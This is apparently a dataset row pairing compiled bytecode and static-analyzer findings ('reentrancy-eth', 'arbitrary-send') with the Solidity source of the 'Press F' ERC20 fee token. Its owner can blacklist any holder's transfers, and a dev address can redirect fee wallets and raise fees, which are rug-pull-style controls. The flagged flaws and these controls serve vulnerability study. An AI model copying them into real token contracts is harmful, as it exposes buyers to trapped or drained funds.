2616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610e015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b60008111610e635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b6001600e556002600f556000546001600160a01b03848116911614801590610e9957506000546001600160a01b03838116911614155b8015610eae57506001600160a01b0383163014155b8015610ed357506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef857506001600160a01b03821660009081526005602052604090205460ff16155b15611207576001600160a01b03831660009081526006602052604090205460ff16158015610f3f57506001600160a01b03821660009081526006602052604090205460ff16155b610f4857600080fd5b6013546001600160a01b038481169116148015610f7357506012546001600160a01b03838116911614155b8015610f9857506001600160a01b03821660009081526005602052604090205460ff16155b8015610fad5750601354600160b81b900460ff165b156110ea57600a548111156110045760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000604482015260640161052b565b6001600160a01b03821660009081526007602052604090205442116110605760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b604482015260640161052b565b600d548161106d846105f4565b6110779190611bb3565b11156110c55760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000604482015260640161052b565b6110d042601e611bb3565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111557506012546001600160a01b03848116911614155b801561113a57506001600160a01b03831660009081526005602052604090205460ff16155b1561114a576001600e556002600f555b43600b54600361115a9190611bb3565b1015801561117557506013546001600160a01b038481169116145b15611185576001600e556063600f555b6000611190306105f4565b600c54909150811080159081906111b15750601354600160a81b900460ff16155b80156111cb57506013546001600160a01b03868116911614155b80156111e05750601354600160b01b900460ff165b15611200576111ee8261125c565b4780156111fe576111fe47611469565b505b5050611212565b6000600e819055600f555b61121d8383836114ee565b505050565b600081848411156112465760405162461bcd60e51b815260040161052b9190611ab8565b5060006112538486611c0c565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a4576112a4611c39565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112f857600080fd5b505afa15801561130c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113309190611974565b8160018151811061134357611343611c39565b6001600160a01b0392831660209182029290920101526012546113699130911684610c17565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a2908590600090869030904290600401611b42565b600060405180830381600087803b1580156113bc57600080fd5b505af11580156113d0573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060085482111561144c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052b565b60006114566114f9565b9050611462838261151c565b9392505050565b6010546001600160a01b03166108fc61148383600261151c565b6040518115909202916000818181858888f193505050501580156114ab573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114c683600261151c565b6040518115909202916000818181858888f19350505050158015610b35573d6000803e3d6000fd5b61121d83838361155e565b6000806000611506611655565b9092509050611515828261151c565b9250505090565b600061146283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611699565b600080600080600080611570876116c7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115a29087611724565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115d19086611766565b6001600160a01b0389166000908152600260205260409020556115f3816117c5565b6115fd848361180f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161164291815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af6800000611672828261151c565b8210156116905750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116ba5760405162461bcd60e51b815260040161052b9190611ab8565b5060006112538486611bcb565b60008060008060008060008060006116e48a600e54600f54611833565b92509250925060006116f46114f9565b905060008060006117078e878787611888565b919e509c509a509598509396509194505050505091939550919395565b600061146283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611222565b6000806117738385611bb3565b9050838110156114625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b60006117cf6114f9565b905060006117dd83836118d8565b306000908152600260205260409020549091506117fa9082611766565b30600090815260026020526040902055505050565b60085461181c9083611724565b60085560095461182c9082611766565b6009555050565b600080808061184d606461184789896118d8565b9061151c565b9050600061186060646118478a896118d8565b90506000611878826118728b86611724565b90611724565b9992985090965090945050505050565b600080808061189788866118d8565b905060006118a588876118d8565b905060006118b388886118d8565b905060006118c5826118728686611724565b939b939a50919850919650505050505050565b6000826118e757506000610492565b60006118f38385611bed565b9050826119008583611bcb565b146114625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b60006020828403121561196957600080fd5b813561146281611c4f565b60006020828403121561198657600080fd5b815161146281611c4f565b600080604083850312156119a457600080fd5b82356119af81611c4f565b915060208301356119bf81611c4f565b809150509250929050565b6000806000606084860312156119df57600080fd5b83356119ea81611c4f565b925060208401356119fa81611c4f565b929592945050506040919091013590565b60008060408385031215611a1e57600080fd5b8235611a2981611c4f565b946020939093013593505050565b600060208284031215611a4957600080fd5b813561146281611c64565b600060208284031215611a6657600080fd5b815161146281611c64565b600060208284031215611a8357600080fd5b5035919050565b600080600060608486031215611a9f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ae557858101830151858201604001528201611ac9565b81811115611af7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b925784516001600160a01b031683529383019391830191600101611b6d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bc657611bc6611c23565b500190565b600082611be857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0757611c07611c23565b500290565b600082821015611c1e57611c1e611c23565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a957600080fd5b80151581146105a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220728ff8387d6eebe740c8871575f526c44ee1b7974dac8da0a63c71a8c187837d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,681 |
0x0a066169eeb9f6ad6e3bca8389eaa799deac96f6
|
/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
//104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115
//ASCII
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PressF is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Press F";
string private constant _symbol = "F";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _teamFee = 10; // 10% Marketing and Development Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => bool) private whitelist;
mapping(address => uint256) private cooldown;
address payable private _MarketTax;
address payable private _Dev;
address payable private _DevFee;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private publicsale = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable markettax, address payable devfee, address payable dev) {
_MarketTax = markettax;
_Dev = dev;
_DevFee = devfee;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MarketTax] = true;
_isExcludedFromFee[_DevFee] = true;
_isExcludedFromFee[_Dev] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function isWhiteListed(address account) public view returns (bool) {
return whitelist[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MarketTax.transfer(amount.div(2));
_DevFee.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
publicsale = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Dev);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Dev);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Dev);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarket(address payable account) external {
require(_msgSender() == _Dev);
_MarketTax = account;
}
function setDev(address payable account) external {
require(_msgSender() == _Dev);
_Dev = account;
}
function setDevPay(address payable account) external {
require(_msgSender() == _Dev);
_DevFee = account;
}
}
|
0x6080604052600436106101bb5760003560e01c80638f890301116100ec578063cba0e9961161008a578063d543dbeb11610064578063d543dbeb1461050b578063dd62ed3e1461052b578063e01af92c14610571578063e47d60601461059157600080fd5b8063cba0e9961461049c578063d00efb2f146104d5578063d477f05f146104eb57600080fd5b8063b515566a116100c6578063b515566a14610432578063c0e6b46e14610452578063c3c8cd8014610472578063c9567bf91461048757600080fd5b80638f890301146103c857806395d89b41146103e8578063a9059cbb1461041257600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461035657806370a082311461036b578063715018a61461038b5780638da5cb5b146103a057600080fd5b8063437823ec146102dd5780636dcea85f146102fd5780636f9170f61461031d57600080fd5b806323b872dd1161019557806323b872dd1461025f578063273123b71461027f57806328667162146102a1578063313ce567146102c157600080fd5b806306fdde03146101c7578063095ea7b31461020957806318160ddd1461023957600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526007815266283932b9b9902360c91b60208201525b6040516102009190611d12565b60405180910390f35b34801561021557600080fd5b50610229610224366004611ba3565b6105ca565b6040519015158152602001610200565b34801561024557600080fd5b50683635c9adc5dea000005b604051908152602001610200565b34801561026b57600080fd5b5061022961027a366004611b63565b6105e1565b34801561028b57600080fd5b5061029f61029a366004611af3565b61064a565b005b3480156102ad57600080fd5b5061029f6102bc366004611ccd565b61069e565b3480156102cd57600080fd5b5060405160098152602001610200565b3480156102e957600080fd5b5061029f6102f8366004611af3565b61071e565b34801561030957600080fd5b5061029f610318366004611af3565b61076c565b34801561032957600080fd5b50610229610338366004611af3565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561036257600080fd5b5061029f6107ae565b34801561037757600080fd5b50610251610386366004611af3565b6107db565b34801561039757600080fd5b5061029f6107fd565b3480156103ac57600080fd5b506000546040516001600160a01b039091168152602001610200565b3480156103d457600080fd5b5061029f6103e3366004611af3565b610871565b3480156103f457600080fd5b506040805180820190915260018152602360f91b60208201526101f3565b34801561041e57600080fd5b5061022961042d366004611ba3565b6108b3565b34801561043e57600080fd5b5061029f61044d366004611bce565b6108c0565b34801561045e57600080fd5b5061029f61046d366004611ccd565b610964565b34801561047e57600080fd5b5061029f6109f9565b34801561049357600080fd5b5061029f610a2f565b3480156104a857600080fd5b506102296104b7366004611af3565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104e157600080fd5b5061025160175481565b3480156104f757600080fd5b5061029f610506366004611af3565b610df6565b34801561051757600080fd5b5061029f610526366004611ccd565b610e38565b34801561053757600080fd5b50610251610546366004611b2b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057d57600080fd5b5061029f61058c366004611c95565b610f05565b34801561059d57600080fd5b506102296105ac366004611af3565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105d7338484610f43565b5060015b92915050565b60006105ee848484611067565b610640843361063b85604051806060016040528060288152602001611ee3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611349565b610f43565b5060019392505050565b6000546001600160a01b0316331461067d5760405162461bcd60e51b815260040161067490611d65565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106c85760405162461bcd60e51b815260040161067490611d65565b60198111156107195760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2030202d20323500000000006044820152606401610674565b600955565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161067490611d65565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6012546001600160a01b0316336001600160a01b03161461078c57600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ce57600080fd5b476107d881611383565b50565b6001600160a01b0381166000908152600260205260408120546105db90611408565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161067490611d65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b0316336001600160a01b03161461089157600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b60006105d7338484611067565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161067490611d65565b60005b8151811015610960576001600e600084848151811061091c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095881611e78565b9150506108ed565b5050565b6012546001600160a01b0316336001600160a01b03161461098457600080fd5b600081116109d45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610674565b6109f36127106109ed683635c9adc5dea000008461148c565b9061150b565b600d5550565b6012546001600160a01b0316336001600160a01b031614610a1957600080fd5b6000610a24306107db565b90506107d88161154d565b6000546001600160a01b03163314610a595760405162461bcd60e51b815260040161067490611d65565b601554600160a01b900460ff1615610ab35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610674565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610af03082683635c9adc5dea00000610f43565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2957600080fd5b505afa158015610b3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b619190611b0f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba957600080fd5b505afa158015610bbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be19190611b0f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c2957600080fd5b505af1158015610c3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c619190611b0f565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610c91816107db565b600080610ca66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d0957600080fd5b505af1158015610d1d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d429190611ce5565b5050601580546801158e460913d000006016554360175563ffff00ff60a01b1981166201000160a01b1790915560145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dbe57600080fd5b505af1158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109609190611cb1565b6012546001600160a01b0316336001600160a01b031614610e1657600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e625760405162461bcd60e51b815260040161067490611d65565b60008111610eb25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610674565b610eca60646109ed683635c9adc5dea000008461148c565b60168190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6012546001600160a01b0316336001600160a01b031614610f2557600080fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fa55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610674565b6001600160a01b0382166110065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610674565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110cb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610674565b6001600160a01b03821661112d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610674565b6000811161118f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610674565b6000546001600160a01b038481169116148015906111bb57506000546001600160a01b03838116911614155b156112ec576001600160a01b03831630146111df576016548111156111df57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561122157506001600160a01b0382166000908152600e602052604090205460ff16155b801561123d5750336000908152600e602052604090205460ff16155b61124657600080fd5b6000611251306107db565b9050600d5481106112615750600d545b600c546015549082101590600160a81b900460ff1615801561128c5750601554600160b01b900460ff165b80156112955750805b80156112af57506015546001600160a01b03868116911614155b80156112c957506014546001600160a01b03868116911614155b156112e9576112d78261154d565b4780156112e7576112e747611383565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061132e57506001600160a01b03831660009081526005602052604090205460ff165b15611337575060005b611343848484846116f2565b50505050565b6000818484111561136d5760405162461bcd60e51b81526004016106749190611d12565b50600061137a8486611e61565b95945050505050565b6011546001600160a01b03166108fc61139d83600261150b565b6040518115909202916000818181858888f193505050501580156113c5573d6000803e3d6000fd5b506013546001600160a01b03166108fc6113e083600261150b565b6040518115909202916000818181858888f19350505050158015610960573d6000803e3d6000fd5b600060065482111561146f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610674565b6000611479611720565b9050611485838261150b565b9392505050565b60008261149b575060006105db565b60006114a78385611e42565b9050826114b48583611e22565b146114855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610674565b600061148583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611743565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115a357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115f757600080fd5b505afa15801561160b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162f9190611b0f565b8160018151811061165057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546116769130911684610f43565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906116af908590600090869030904290600401611d9a565b600060405180830381600087803b1580156116c957600080fd5b505af11580156116dd573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116ff576116ff611771565b61170a84848461179f565b8061134357611343600a54600855600b54600955565b600080600061172d611896565b90925090506117